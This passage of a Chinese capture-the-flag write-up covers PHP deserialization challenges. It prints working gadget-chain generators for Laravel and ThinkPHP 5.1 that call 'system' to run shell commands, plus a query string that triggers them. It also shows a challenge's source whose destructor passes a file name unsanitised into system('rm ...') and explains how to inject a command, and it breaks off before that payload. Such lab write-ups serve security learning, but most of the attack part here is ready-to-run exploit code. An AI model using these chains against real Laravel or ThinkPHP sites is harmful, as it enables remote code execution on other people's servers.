1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher; use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast { protected $events; protected $event; public function __construct(){ $this->events=new Dispatcher(); $this->event=new QueuedCommand(); } } } namespace Illuminate\Foundation\Console{ class QueuedCommand { public $connection="cat /flag"; } } namespace Illuminate\Bus{ class Dispatcher { protected $queueResolver="system";
} } namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast())); }
|
# web274:
thinkphp 反序列化,贴个文章:thinkphp5.1.x~5.2.x 版本反序列化链挖掘分析
放个 poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| <?php namespace think; abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["lin"=>["calc.exe","calc"]]; $this->data = ["lin"=>new Request()]; } } class Request { protected $hook = []; protected $filter = "system"; protected $config = [ 'var_ajax' => '_ajax', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'lin']; $this->hook = ["visible"=>[$this,"isAjax"]]; } } namespace think\process\pipes; use think\model\concern\Conversion; use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files=[new Pivot()]; } } namespace think\model; use think\Model; class Pivot extends Model { } use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); ?>
|
然后,将生成的 payload 放在下面的 payload 处:
1
| ?data=payload&lin=tac /f*
|
即可得到 flag。
# web275:
小声嘀咕:为什么还没有 pop 链?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| <?php
highlight_file(__FILE__);
class filter{ public $filename; public $filecontent; public $evilfile=false;
public function __construct($f,$fn){ $this->filename=$f; $this->filecontent=$fn; } public function checkevil(){ if(preg_match('/php|\.\./i', $this->filename)){ $this->evilfile=true; } if(preg_match('/flag/i', $this->filecontent)){ $this->evilfile=true; } return $this->evilfile; } public function __destruct(){ if($this->evilfile){ system('rm '.$this->filename); } } }
if(isset($_GET['fn'])){ $content = file_get_contents('php://input'); $f = new filter($_GET['fn'],$content); if($f->checkevil()===false){ file_put_contents($_GET['fn'], $content); copy($_GET['fn'],md5(mt_rand()).'.txt'); unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']); echo 'work done'; } }else{ echo 'where is flag?'; }
where is flag?
|
想办法触发 __destruct
即可,这里需要 filename 或者 filecontent 包含 php 或者 flag,这样在最后销毁的时候会进入 system 函数,并且 checkevil () 为 true,不会进入 if 语句,程序会进入最后的销毁阶段,触发 __destruct
,因此,即可进入 system 函数,所以 payload 为: